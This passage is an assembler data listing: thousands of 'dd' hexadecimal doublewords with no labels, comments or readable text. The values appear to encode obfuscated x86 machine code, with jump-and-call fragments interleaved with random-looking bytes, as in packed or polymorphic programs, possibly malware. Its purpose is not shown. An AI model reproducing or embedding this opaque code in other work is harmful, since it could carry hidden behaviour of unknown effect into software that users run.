409D3A43h, 517F2E21h dd 47C7313Eh, 2024h, 0BD83F560h, 802B3B4h, 0AA840F00h dd 0F000001h, 185h, 0C783FC00h, 0D7BF0F28h, 6A2E07C7h dd 13E96469h, 0A9000000h, 5BAA12A9h, 333754FBh, 30AC0C66h dd 0FF32D0A0h, 14E81E42h, 12000000h, 0CC5CB780h, 0CD110717h dd 3E4F9AD8h, 24B89327h, 0B2A1F0C0h, 47C75E8Eh, 61746104h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0FB52EB7h, 682h, 91B58B00h, 8B07FA20h, 2B3BC85h dd 8F0F08h, 89000000h, 880F0C47h, 6, 5841F281h, 858B7A10h dd 802B3C0h, 1858960h, 0E807FA01h, 0Ah, 3CFCA92Bh, 159F7ECFh dd 81660FFFh, 5BCE08D8h, 13E861h, 16430000h, 494A65B3h dd 67AE5D0h, 70AB3802h, 9E2BA430h, 1958B8Eh, 5A07FA2Fh dd 6A084789h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 56CBC357h, 0D058509h, 835A07FAh dd 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 579691C3h, 0B5039B49h, 7FA02C5h, 787BA66h dd 632E07C7h, 6A6E6Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0DAA05AC3h, 0FFDC86DEh, 6691A8CCh dd 36D7CA81h, 660447C7h, 66006769h, 8B5F87BAh, 2B3B885h dd 51006A08h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 7DFA9DC4h, 0CDDBD29h, 478907FAh, 0D68B660Ch dd 0B3B4858Bh, 0DE810802h, 70E5A3D7h, 31084789h, 0FA35158Dh dd 8D8D5807h, 7FA0B11h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0D7C35141h, 150DEEB9h, 3C195325h, 0F860Fh dd 0AE90000h, 78000000h, 473E6F9Fh, 0AAD27B67h, 0BE50919Bh dd 5FB44631h, 0FE9505Eh, 0CD000000h, 62FBF9E3h, 981F62B5h dd 0E5BA9D04h, 8091FD9Ch, 0B5FF0AE2h, 7FA30DDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 22C35545h, 57CA11Ch dd 0F18B6618h, 0DBA5B768h, 240481D7h, 28246A49h, 22F58589h dd 0B5FF07FAh, 7FA14A9h, 0FFD38B66h, 0CA8166D0h, 0F78B4AD9h dd 0B8h, 0AE900h dd 86550000h, 0E4CF8259h, 7CB9B5C3h, 840FC00Bh, 58h, 100D9503h dd 0B5FF07FAh, 7FA0D6Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0C7C35040h, 0EEF1A1ABh, 0FF46B815h, 179995FFh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8D89BEC3h, 7FA32B9h, 9D89C08Bh, 7FA0FD1h dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h dd 2DB8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h, 0FF07FCE2h dd 83585BD3h, 0FA1899BDh, 17740007h, 2DB85350h, 89000004h dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 6A585BD3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 663BC355h, 6AD790BEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 5348C352h, 958B3772h dd 7FA1D25h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 1D1C5EC3h, 0ECCB7831h, 860FFDC8h dd 0Ch, 68E0Fh, 0CA810000h, 54071F64h, 8D8DC08Bh, 802BDA0h dd 0FD32BE66h, 1CD98D89h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 78FCAC3h, 0AD85C7D9h dd 0C807FA31h, 0F000072h, 682h, 0E19D8900h, 0C707FA0Ah dd 0FA2BD985h, 7, 0FFE2B700h, 0FA2EA9B5h, 14E907h, 7B2B0000h dd 0D7CB71D6h, 743C5372h, 0F6FC5B75h, 0AAC45CEFh, 95FFFF1Dh dd 7FA1799h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0C35545h, 2C459D89h, 6A07FAh, 101995FFh, 0C08B07FAh dd 0C7096EEBh, 248029B6h, 0BA0D85C8h, 2A4D92F5h, 8A47AB3Dh dd 0F99356CAh, 84235FCBh, 7B83D1E8h, 0DB8B2CCEh, 6DD392EBh dd 7146120Dh, 2D2B69DBh, 5497CCDCh, 0AFF823B3h, 63DB4349h dd 8FBC7BF9h, 346C0959h, 0FE295C82h, 49A9DE07h, 60021E75h dd 4F16274Bh, 7A3E587Ah, 0BBCD72A1h, 7F3250C9h, 9A895DB5h dd 0A52A0566h, 906A21E4h, 2941C635h, 5E8h, 85DA0100h, 8E0FEF07h dd 6, 1BC9958Bh, 0B95B07FAh, 3BD54CFBh, 5C4CC381h, 0B70F0000h dd 16F4BECFh, 958B0000h, 7FA177Dh, 810F038Bh, 6, 15E58D8Bh dd 0E88107FAh, 919D9C0h, 2EFD958Bh, 0C08107FAh, 0FD7E59Ch dd 1AEF8166h, 0EC08112h, 0B61B1B83h, 0E90389FFh, 5, 4DED302Fh dd 1EB83ABh, 7FDEB966h, 294B4B4Bh, 0FA23C58Dh, 1EE8107h dd 0F000000h, 0FFFFAB85h, 0E900EBFFh, 462h, 98CED046h dd 417727EBh, 0E71D8194h, 93C9D53Ah, 3D732BE6h, 0A66B5409h dd 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h, 0E9411679h dd 1FD63C07h, 0FD336BA7h, 0C9E52565h, 0FFE68366h, 64C7338Ch dd 92FFE683h, 2FE69339h, 838C396Fh, 0D938E51Bh, 31E035C5h dd 34BFDF31h, 0BEFCA20Bh, 689E0011h, 0F4559BBh, 0BDDFAE62h dd 0AB9400CFh, 9C497FE8h, 59F12777h, 71932E2Fh, 0FBA1FF4Dh dd 0E8D2E687h, 27187807h, 0E55F3FD2h, 0C35CB919h, 0C4711763h dd 5FC44F4Fh, 1363EEB0h, 5D54B7D3h, 298207E8h, 2603E3AFh dd 0F298E044h, 5522ED52h, 0E7D9D639h, 3AA3FC07h, 7AE6A304h dd 0E610CEEAh, 0B5DF0FE1h, 0AE05ECC2h, 9CEAF1AFh, 9654422Dh dd 128C882Dh, 3ACA236Ch, 304C2BE5h, 0FE24DCDh, 0A6319AF3h dd 1844D77Dh, 0FE24DB1h, 7F0A947Bh, 1DA8F61Ah, 0EDD18BC4h dd 0C3EC7727h, 0BA74F55Ah, 5288C1EBh, 0D63F82CBh, 44286030h dd 21C64870h, 57000001h, 0F6A867BCh, 0EF9C426Bh, 6AF17C22h dd 839FF612h, 54ADFFE6h, 7BA89AC4h, 593405EBh, 58BB20B3h dd 38781046h, 0E72DB91Ch, 0E98EE7FFh, 22CF7529h, 0DD1DADF1h dd 2D1E819Dh, 0EB44FFE7h, 0E72D1C7Fh, 61F14AFFh, 0E72CE245h dd 11B710FFh, 3C24657Eh, 102C6CACh, 0FFE72DADh, 0AB0E7AD3h dd 0D9FFE72Dh, 2642DA80h, 7E14268h, 57BAD656h, 7D07E141h dd 0CB30BB24h, 67CC5747h, 1365F0AEh, 0B68830EAh, 24EFD38Dh dd 6CAC447Ah, 0E140ED50h, 14BA1307h, 0FA8AD6B3h, 0DB6990DEh dd 19F98E0Fh, 2CD1FA85h, 32CB7E7h, 67AA0F9Ah, 0BD540137h dd 503D56E1h, 1E488818h, 0C8B5D772h, 6A34E0CDh, 0B4E75B01h dd 0A2FFE6C7h, 0D7B21349h, 75CAC34Dh, 4324B8C8h, 5B840F78h dd 4D3862F2h, 0ADFE9078h, 0F814AC52h, 7E0CFC6h, 0DCF5228Ch dd 70C71C38h, 0DE479BF6h, 0A731A1Fh, 0D3EF2F7Fh, 7E11370h dd 97FA1696h, 0BD07E113h, 0A855FB64h, 52FF3569h, 3B54DFBFh dd 627E0E52h, 7E11333h, 0F5A2D831h, 954C821Ch, 3ACA96F3h dd 41C3FE10h, 6B11FDBDh, 135393D3h, 0E6F794F7h, 0FD69C2FFh dd 0FFE6F79Ah, 55C96FC8h, 7E10D03h, 7977A0Fh, 65AE139Eh dd 2B6B0339h, 0E0E5AC0Fh, 0DB81DA07h, 94F9A302h, 0C42B8FCCh dd 8E07E0E5h, 4BE31985h, 0F7821CF6h, 987B28CEh, 0FD167B06h dd 67F2AC65h, 0E598FB17h, 65BE07E0h, 0A30893FCh, 3FA42F6Fh dd 0ED26CBD3h, 0A1E226B1h, 0B2E33FE7h, 9FFF14F8h, 0F1619969h dd 0F348406Eh, 0FBDC821Ch, 1Fh, 0CA96F38Ch, 6BA5FA3Ah dd 18868E33h, 9840FE72h, 0C51E07E0h, 603ED53Ah, 19432Ah dd 0A7DC0000h, 46AB3668h, 2B8EAACDh, 20FFE683h, 8B4E790Bh dd 459EDF29h, 0BCEFA6DCh, 0E602A392h, 29CFDE7Bh, 0D50B937Ch dd 196EAE06h, 0FD607CFBh, 23FFE6D6h, 0ADD661CAh, 8930B08h dd 66C539DFh, 94FFE6D7h, 0C84BB03Bh, 2CE64BD6h, 9182E772h dd 0FD3E820Dh, 89C99B43h, 7D21F449h, 0E6D7AE11h, 0D57BD4FFh dd 3C949A54h, 0EA7529E7h, 0A6F81CC1h, 0ED4C6800h, 0BCFFE6D6h dd 0D6FD607Ch, 0CA23FFE6h, 0F282DB24h, 0E8B65DB2h, 0D76BCE42h dd 204AFFE6h, 73E785A4h, 0D821C753h, 71B1497Fh, 0E74BF255h dd 21C720FFh, 0C9FF9F74h, 6737DC31h, 688640C1h, 18h, 326CA701h dd 0CDD142A7h, 6ABFFF97h, 298CF8A6h, 57FFE683h, 60BF58FEh dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E7895752h dd 49D4B850h, 0D0356B62h, 16B6249h, 0EF8358C7h, 243C8704h dd 13F5685Ch, 14890000h, 6EA46824h, 4890000h, 0DFBB5324h dd 8175900Eh, 0F44938CBh, 4EBC17Fh, 6FA0C381h, 0D3F74790h dd 7106CB81h, 0F381084Ah, 0B078C5F9h, 545BDA89h, 8324048Bh dd 0EC8304C4h, 24148904h, 8B08408Fh, 89562404h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 24148B5Ch, 81E28952h, 4C2h dd 4C28100h, 87000000h, 0E95C2414h, 0FFF7BC00h, 5E0AD0E8h dd 0B738FEA0h, 49948C84h, 64B8D3CAh, 30802C2h, 93E0FFC5h dd 9A5DE0E7h, 28433A88h, 6D165DEFh, 0C46621DCh, 0A5798FA4h dd 9E7A58A0h, 0C075D696h, 0AA101493h, 210379D3h, 0F05616D6h dd 583E990Ch, 3448C151h, 0E4B9B75h, 9750C5Bh, 1B0259AAh dd 8B0671AFh, 786B3321h, 95458082h, 33694334h, 5C2F40EBh dd 686A36AEh, 0B9736DA5h, 3B604C8Dh, 0E9C68B66h, 9, 6A33FBD8h dd 0FC3BE15Ah, 13D181D6h, 0FC2194BFh, 7A4DB2B9h, 11E940h dd 31A80000h, 0BE54741Dh, 8B59B12Dh, 11B58B16h, 60F0C7F3h dd 0FD68B66h, 288h, 615B5600h, 0CDE480F8h, 66D88B66h, 0F7D89BAh dd 8051DFBFh, 0F587EEDh, 0B70FC6BFh, 0AE8D8h dd 4FC10000h, 84F299FFh, 23F0D2D9h, 7E960h, 87130000h dd 39A79DCBh, 6102B16Dh, 850F605Ah, 3, 0E9C28B66h, 8, 9FA3F2BEh dd 0A64BD1E0h, 630FBA61h, 0F9BB1E88h, 667B15F3h, 0E9B095BEh dd 14h, 33B286DCh, 0D838C9F3h, 0F5828F9Fh, 61272C6Ah, 4AE8B7ACh dd 0F8BF0F52h, 0D281665Eh, 0AE9FB36h, 24000000h, 862A2CBFh dd 4F01AF60h, 0BA66FC3Fh, 6657B5CDh, 0E95AF78Bh, 14h, 0D583ABD9h dd 2C8FE935h, 0F37D935Ah, 0E5601CD3h, 0DC9887CAh, 0F5F2B70Fh dd 3B0FBA66h, 9E9h, 0B07C9600h, 69740082h, 0DE807C9Eh dd 10E973h, 0FDCA0000h, 4E731876h, 4268E8E5h, 42106AA1h dd 8166E3B9h, 8B8D88E9h, 3D78B9D1h, 5F534247h, 7E8h, 61484900h dd 26A7348Fh, 0CE9h, 0F015D600h, 0F25F14ACh, 0B239C21Ah dd 8F0F5ADCh, 3, 0FEBCF80h, 0DA8BF8B7h, 0E4F78166h, 5ABA66FAh dd 97D88192h, 0F876FD08h, 8B0Fh, 0B9660000h, 816020A3h dd 92CCEDFh, 14E861h, 0C87A0000h, 0C530378Bh, 0D3D0A74Eh dd 66B47F2Bh, 0B514320Fh, 61608764h, 81666159h, 66DFD3D7h dd 667A46BFh, 0FA2BEBAh, 384h, 0C6B70F00h, 0FCFCAFB4h dd 8BC0B70Fh, 0E1C281F2h, 607AC284h, 0B16061F9h, 14E9536Dh dd 26000000h, 881C7B99h, 9D666292h, 5EED33D4h, 94C217E1h dd 58ADF5D7h, 0F93B661h, 8Eh, 11E900h, 6B460000h, 776120C9h dd 0FA0E471Fh, 74C576C0h, 0F80629Ch, 86h, 90E38100h, 661A70A3h dd 751BF081h, 0E8C0B70Fh, 8, 38582490h, 0FB874C1h, 118C0Fh dd 0BE80000h, 0E5000000h, 4E622A70h, 0C0E39E06h, 5A5B3979h dd 13E9F5h, 0B8680000h, 930AAF23h, 9F7F42Dh, 87F5D102h dd 250D7ECDh, 2830F1Bh, 8B000000h, 1EC180CBh, 68D0Fh, 0F8600000h dd 61F88B66h, 93D78166h, 0DF8BFC82h, 0CE8EBB2h, 0F3000000h dd 679A75Dh, 4FB07F47h, 53019E74h, 800F5E5Ah, 5, 0F3471EB9h dd 60F38B75h, 0A348B966h, 61D18B66h, 0B773F081h, 7EB466C4h dd 0B4EA8166h, 14E96081h, 0EF000000h, 30EAA87Fh, 29D1CDEh dd 0D60AD89Dh, 0DDE2EAA2h, 6680BED1h, 3577D181h, 16880F61h dd 51000000h, 0FE9h, 422E3A00h, 6EAEE137h, 0D6524546h dd 7C91323Ah, 78B2BB5Eh, 0BF0F3CD2h, 0B966F8F0h, 0B451F750h dd 0BF0F5BE9h, 0D98B66F9h, 17860Fh, 12E90000h, 0E2000000h dd 0B50245F6h, 8A98C502h, 0E5C804A5h, 855C3EE2h, 58B0F69h dd 0BB000000h, 2324596Dh, 4840Fh, 0B9660000h, 0C6815182h dd 1600F311h, 4CC08160h, 616AA24Dh, 4B1AF081h, 830F40B8h dd 7, 0EB816660h, 6061495Ch, 88FFB866h, 11E85761h, 69000000h dd 61DCB056h, 8FD8085Bh, 951A37A5h, 7DCE7ADDh, 0FFC5E5Ah dd 0C18AC3B7h, 82FCBB66h, 0BE66F38Bh, 10E978BFh, 6A000000h dd 8FAF0E62h, 0E71EC012h, 4286EC89h, 6610B81Fh, 0E990FCBBh dd 0Dh, 0DACA6649h, 50C2BBF0h, 0CCACC8B5h, 0A8BA6047h dd 616C5CF0h, 12E952h, 39E40000h, 0BA08FD7Ch, 3EC3D722h dd 2A080DB3h, 0E6DE3AEAh, 0ACEF805Ah, 4C18C181h, 0FE87326h dd 2B000000h, 0F0E02B4h, 3D43EB4Ah, 0FB97990Ah, 0BE99450h dd 0DF000000h, 9C59D852h, 75C87411h, 6658DE57h, 0EB68DF81h dd 0FC2BF0Fh, 8D0FCBBFh, 0Ch, 2CBF6660h, 840F2Ch, 61000000h dd 0EE9h, 0D673A000h, 41D68B99h, 2982FB59h, 0F96BA14h dd 0BF0FC1B7h, 7227B8F2h, 820F443Eh, 0 dd 5ECA8166h, 14E9A6h, 40E20000h, 81EEE5FCh, 0C0F468AAh dd 8BE200A0h, 0FFFD5D81h, 0BF0F2367h, 0A503BFDBh, 810F7E55h dd 0 dd 0D68166F9h, 8B6649E4h, 0C9B70FC3h, 18C0Fh, 0E9FC0000h dd 0Dh, 14963CD5h, 0FE0E2389h, 0F3016B9Eh, 0EE8166B7h dd 0BA667312h, 0F3812B07h, 65DBC6B8h, 0E46461B8h, 0E9CA8B53h dd 0Ch, 0BE92AC46h, 0C37BA643h, 764888C2h, 0CE9C18Bh, 66000000h dd 0E9375A58h, 0F01AB8B9h, 0F579257Bh, 7FBE6652h, 0E9815908h dd 6B1CCB77h, 6678D080h, 0F89363BAh, 0BF0FDE8Bh, 13E8C0h dd 0F4C0000h, 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh dd 6E98Ch, 0E1E50000h, 0F09D6ACCh, 0CE959h, 902D0000h dd 19A623Eh, 6FF8638Ch, 0F88B8271h, 0FE9h, 0AF677B00h dd 30F16BEEh, 0CF0D58BFh, 92F42299h, 1A932B8h, 58A0F1Bh dd 66000000h, 70A0C081h, 0F1B70F52h, 0F860525Bh, 59616160h dd 8A0Fh, 0EE90000h, 88000000h, 0A436C9B9h, 81D5DE1h, 87BA075Ah dd 0F51B608h, 0D981D1BFh, 3BB78BFEh, 1FB35760h, 57D18058h dd 0E9F56061h, 0Ah, 0B97DD1DAh, 0BAA6D074h, 8A61CCD0h dd 7E8E5h, 0A8730000h, 83EA6D9Eh, 0F51DBA8Ah, 535B15D8h dd 58D3B70Fh, 9E8h, 0C8837000h, 2A73B43Ah, 0DA8B57A3h dd 0E9C78B5Ah, 9, 5C8B6F52h, 5ECB640h, 81D6B408h, 75A13FD3h dd 80E78161h, 0F1A24F1h, 0E8FCF8B7h, 11h, 8ECC4560h, 6E4890A7h dd 3D968738h, 0FDCBA7FFh, 0CD5800Dh, 603AB259h, 0FE8h dd 0C27F0900h, 0CB8171ECh, 1D8558C7h, 83AE9C60h, 870Fh dd 0F590000h, 8Bh, 8B666100h, 11E8FAh, 10E90000h, 39F60E0Bh dd 2D1742CEh, 25D44F10h, 800B463Ch, 605E80DAh, 61FE8B66h dd 0A108B866h, 14E860h, 839D0000h, 0C9C1E27h, 0AD8A1062h dd 0D9B563B7h, 531F6381h, 615E2CFBh, 820F7DB1h, 5, 933E7EBBh dd 0BF0F6069h, 0DE8161F6h, 58828A72h, 14E9h, 0CBA14500h dd 1C4647A7h, 88801D65h, 0E0C55A16h, 78688E87h, 15860FC8h dd 0E8000000h, 0Ch, 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 5E1DC480h dd 0FDDBBB66h, 8E9h, 9C066C00h, 0B7AF6654h, 8F2CB875h dd 870F52A1h, 14h, 0FE9h, 0A1799800h, 43B27637h, 21409D3Ah dd 3E517F2Eh, 0CE9h, 0F4A12400h, 0BCD7C5EBh, 82BBB0CBh dd 9E9F869h, 86000000h, 1B4108FAh, 0F32EED43h, 68E0Fh dd 0D0810000h, 17C41038h, 0FE8h, 9237AD00h, 9A689087h dd 34913AFFh, 0E7A637D1h, 0DE8h, 34E69D00h, 0F13FBD4Ch dd 75DBDDBCh, 0BB6681F8h, 5E5AA648h, 5E8h, 93976100h, 81666C28h dd 58918FC9h, 0F5CF8B66h, 73E18166h, 28B0FD8h, 8A000000h dd 38B0FD4h, 0F000000h, 0EA81D3BFh, 61DCA355h, 178C0Fh dd 12E90000h, 3A000000h, 0B26D96B7h, 39AB7FE8h, 0F73102A9h dd 1687B83Ch, 817DB5EFh, 37929F0h, 0BF0FFC4Ah, 94D781D8h dd 0E8523E76h, 0Ch, 8CA7C70h, 8F597D31h, 48635C1Ch, 0F585160h dd 87h, 0F596100h, 8E0FF8B7h, 0Bh, 58A0Fh, 81660000h, 0E9856AC0h dd 0Eh, 0F4D90E84h, 0C45685C3h, 0F9BF1714h, 0E880015Fh dd 188D0F8Eh, 0E9000000h, 13h, 0E80600E4h, 62301E73h, 1A79134Ch dd 7A02A887h, 8139009Dh, 2B47FDD3h, 0B70F5174h, 7E95FD6h dd 3C000000h, 0DA9BD425h, 0D6818347h, 59BDD51Ah, 820FC88Bh dd 0 dd 83DFD981h, 0EE801F4h, 0C8000000h, 78E59EB0h, 40A765Fh dd 57CEB407h, 10E9B1h, 99960000h, 8D8DBFCBh, 5C3139E3h dd 470B2766h, 8B5F6F2Ah, 3B660FEh, 0DA6C91BEh, 0DD806119h dd 0C78B66A7h, 0DB8166F8h, 0BF0FC122h, 8BDF8BC0h, 0E950B6D1h dd 0Bh, 0B095CFB9h, 8EA53405h, 0E957DC5Eh, 14h, 34AB4C9Ah dd 9E1FF8F3h, 0E8DF6CDAh, 0CA353CA2h, 841F3E77h, 6059F853h dd 0CAC68160h, 817ACFD5h, 51A8DDEFh, 10E86160h, 0AE000000h dd 76A784B0h, 2AA04AA2h, 1D58EFB2h, 0F8ECAFD5h, 8C0F615Ah dd 2, 8166DF8Bh, 8BA39FE7h, 3800FC8h, 80000000h, 830F61EEh dd 3, 60F7D580h, 0C1C0A7B9h, 0F281667Eh, 666193F2h, 41C4EB81h dd 0F4BCC80h, 0BFFCD3BFh, 134F0C9Ch, 27B6BE66h, 0B870F57h dd 0E9000000h, 6, 547760BEh, 0F5BDE53h, 28Eh, 66C38A00h dd 8166F28Bh, 0E98D53F0h, 0Dh, 9335F770h, 0A5D607C6h, 82013818h dd 0D88166E7h, 0B70F5AECh, 0BBBBB6DEh, 12370D6Dh, 61605051h dd 12E95E5Fh, 0FF000000h, 0D4DDB787h, 0DF4618F3h, 0CA480CC2h dd 2865B9ECh, 8F0F503Eh, 2, 0E95FFE8Bh, 13h, 987C3E82h dd 6541EABBh, 2B5A5460h, 379AB084h, 60A480A9h, 0F7DCB866h dd 13E9h, 90A9E700h, 0F572C3Ah, 0C43CC39Dh, 6C2C298Ah dd 845E4669h, 0B70F6061h, 0CCB866F3h, 0CCB9616Bh, 0BF7A3D4Fh dd 9AF5B0Dh, 0BE9h, 8EC57000h, 1DC0A7BEh, 92EF8CCDh, 9EC98166h dd 0FBBF0F87h, 57C7B70Fh, 12E9h, 0E7A7AB00h, 0BB54DF48h dd 8211E256h, 42089557h, 58536401h, 8BD18B66h, 0E08166CFh dd 55B3C4B8h, 6E8h, 760E8B00h, 0F56996Bh, 283h, 59595000h dd 9E8h, 6416BA00h, 42912EEh, 890F4B5Ch, 0 dd 0C7BF0F5Ah, 0E9F5D18Bh, 14h, 0B1EA8B5Dh, 0F113A418h dd 40860A28h, 0FE2A5430h, 0F1664E82h, 8B0F5950h, 10h, 0BE9h dd 2F9F3800h, 0FF405BD9h, 5C193340h, 66D0B70Fh, 0FD6EFB8h dd 686h, 61EB8100h, 0E82BD33Dh, 8, 0A4EEDEB2h, 0E6C86F19h dd 7499EF81h, 805A188Bh, 8B6669F3h, 0FD98BF8h, 0EB8AC8B7h dd 0E3BF19B0h, 0E80C9391h, 10h, 30D942F0h, 1F863357h, 2999945Ch dd 0B60D4991h, 38C0Fh, 0EB800000h, 8AFC59E5h, 5EFC51D5h dd 66F0B70Fh, 0F5D4BBFh, 188h, 8BB8F500h, 0F7F6FD0h, 82h dd 7E800h, 10EE0000h, 0A2048746h, 0F0816640h, 0E95FEC07h dd 5, 0C2F707DDh, 0DABF0FB4h, 8166D88Bh, 6040F6D9h, 8B0F60h dd 66000000h, 9DD1C381h, 0BAB35361h, 0CE8B6158h, 4880Fh dd 0B9660000h, 0F3801F02h, 4800F24h, 50000000h, 6659DE8Ah dd 0F7E33B9h, 0D8Ch, 5E85200h, 0CB000000h, 0BB424A74h dd 800F5E5Eh, 0Dh, 8E9h, 146D7800h, 0C215D8DEh, 0FFA8B1Ah dd 0B87h, 5850F00h, 66000000h, 0B939C381h, 9C4232BAh, 7CD18104h dd 663C4AD1h, 890FF28Bh, 1, 6CC280F5h, 6DA6BE66h, 0CE9D78Bh dd 6A000000h, 93998E26h, 995C92AAh, 0FF2B8E1h, 178Fh, 12E900h dd 0E7620000h, 25FD735Dh, 0E644128Bh, 0D70167CDh, 7BFE3558h dd 1820Fh, 8BF90000h, 7E9F0h, 0EBD20000h, 0C2AD972Bh, 0C6F181C2h dd 0F34065Ch, 46B3F7B7h, 8171F180h, 8C71E4C9h, 4DF38007h dd 3485BE66h, 12E9h, 2B2E5500h, 786E8808h, 4149BD9Eh, 5BDB5BCAh dd 0E96BE1EAh, 0Bh, 0C2231D46h, 0C22737A8h, 0B1A7A984h dd 0BFDE8BC3h, 2BE4695Dh, 2820Fh, 9CB40000h, 7BBA66FCh dd 0FE821h, 87850000h, 0CA86A4DDh, 0CF8E44FAh, 0DF98E090h dd 5AF78A24h, 0FDEB70Fh, 388h, 0EFE28000h, 5AD78B51h, 60C7C480h dd 12E960h, 44E60000h, 0B8F2256Ah, 846F05EDh, 0BDDA4904h dd 0AF79EE2Dh, 0B70F6161h, 0B6B5FCC3h, 0C69FF281h, 0BDBE477Dh dd 0E95030FAh, 6, 0E0FD647Bh, 880FA44Fh, 4, 585E5356h dd 0DE8h, 0B570D600h, 8B3C58E8h, 62A5A04Bh, 14E9422Fh dd 11000000h, 864EE295h, 941881CCh, 4011D0D5h, 0A7ADBA15h dd 5B8FCB49h, 0BE9h, 3A8F4700h, 63842C01h, 0FE2723B0h dd 0E8C1B70Fh, 0Bh, 0F8024625h, 0F426D0F4h, 0F98AC176h dd 0FEB70F5Ah, 12E9h, 0B824F000h, 0C331B65Fh, 88D96AF0h dd 0CE791F89h, 0FAAFE82h, 81F5D2B7h, 95E234DAh, 0D38B6006h dd 6980B966h, 6DB96661h, 0CE92Ah, 28BD0000h, 74FB3B66h dd 2D0DF6BAh, 9E944BEh, 0D4000000h, 56757118h, 9719FC34h dd 0DA5FD6B8h, 9EDA811Eh, 664A6ABCh, 523895B9h, 5951DA80h dd 16C9E981h, 11E90C58h, 0DF000000h, 8EA3D368h, 0AAB9AACh dd 1461FF27h, 0FB6429B2h, 0C0F435B9h, 11E81Bh, 94AB0000h dd 0A47C0A5Eh, 7C932BC7h, 5D78039Fh, 5950E32Eh, 14E8h dd 13509000h, 0D2085FDh, 59C8B827h, 31C646Ch, 23DDD4E7h dd 0CFB70F02h, 0BB66605Fh, 0EB81135Fh, 4A3E24A9h, 9E961h dd 0A7F60000h, 59A86408h, 8159090Ch, 7CFC89DEh, 0E7816625h dd 0F60BC57h, 61F9FFB7h, 0B7D38B66h, 0FAB70F7Bh, 7E8EEB7h dd 6000000h, 3FD52D9Ah, 4FBEB299h, 5B14C4A4h, 0B6CEDA81h dd 0C18B6058h, 0E351E381h, 0E9605924h, 0Fh, 8938D086h dd 34E9786Fh, 0ACC55E69h, 0E9D30C1Bh, 14h, 0F5B5E47h, 0E4DF58D1h dd 0E1163113h, 935437DFh, 0AA59DEF7h, 1820F61h, 0F5000000h dd 0B966D38Bh, 8166A6E7h, 0F6EF4E1h, 11E9F2BFh, 0B8000000h dd 0CF8F0267h, 0AC06FC8Bh, 1D255752h, 94F673C0h, 0C40B1BBAh dd 8B66603Ch, 99E081F1h, 612A91F4h, 59DA8B56h, 40C28166h dd 16890F14h, 0E8000000h, 10h, 3B41A81Ch, 7AFA481Ch, 6FA38225h dd 7595E2B2h, 14E959h, 36B90000h, 2A40C054h, 108923D2h dd 63B0236Bh, 0A8AC643Ch, 815657F1h, 0D0C79ED9h, 0C6805804h dd 38A0FB5h, 80000000h, 36B0ABDBh, 3CF68166h, 18E0F71h dd 0F5000000h, 5BE6B356h, 657F81BAh, 38C0F2Ch, 66000000h dd 870FDF8Bh, 0 dd 0DEF18166h, 4FC981EAh, 8B56AD32h, 2840FF8h, 8B000000h dd 8B6AB3C7h, 816657D3h, 5F6271D3h, 8E9AF1B8h, 3840F07h dd 0F000000h, 13E9D9BFh, 0B4000000h, 0CC9F5F17h, 0F4BE5DC8h dd 75D697CEh, 0C59AAE95h, 45B44D20h, 5E9F8h, 56350000h dd 0FD6A6F4h, 8B66CBB7h, 8E8F3h, 0A08B0000h, 83510AE5h dd 8C0FFCFBh, 5, 0B8D78166h, 0BF0F5F10h, 0C3BF0FD1h, 8D0FDCB4h dd 0 dd 33EEB952h, 0E9581CCFh, 14h, 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h dd 49398B3Ah, 98E6A9E5h, 8E9h, 0E8292E00h, 0FF98F5Ch, 0D3B70F8Fh dd 0E3EE81FCh, 60451BDCh, 0AB97DABEh, 0F1EA8153h, 6133552Bh dd 9E8h, 864F5200h, 2C3EB2F3h, 5EF9F29Bh, 10E957h, 0A39B0000h dd 0DFB23A56h, 0BE261A9Eh, 7CA9AB8Fh, 805815CDh, 810F8FEAh dd 2, 0F281D38Ah, 6122745Ah, 28E0Fh, 0FB8B0000h, 0FE9h dd 1A4E4E00h, 5E6486B6h, 0AAC6ACDAh, 655D3937h, 0DEB70F60h dd 8A61C38Bh, 0FB1B0D5h, 8166F8BFh, 60C600F6h, 0CEEECE81h dd 81664A56h, 619323D7h, 0E9F1B70Fh, 6, 0FD0CED49h, 9E82018h dd 27000000h, 0A7AE9819h, 1B8FAEF0h, 0B21966BEh, 53BA5B61h dd 8B08AEA5h, 0FC30B0F1h, 12E8h, 0F4259C00h, 5F23684Fh dd 2C8B1F0Bh, 55C49D56h, 56C0193Fh, 665B58FCh, 23AEF681h dd 0DE8h, 89D3CE00h, 24DE4860h, 85661A5Eh, 8B5F071Bh, 14E9D3h dd 97A50000h, 0FD928577h, 28A0F4Eh, 364C9794h, 390D4AC1h dd 99BE9D2Bh, 0E9701D2Ch, 14h, 84A02498h, 6437EF17h, 0B12CFC39h dd 555DA92Ah, 4383995Eh, 61F28B60h, 0C8D08166h, 20BE6606h dd 5CD68063h, 0E480DA8Bh, 4890FE5h, 50000000h, 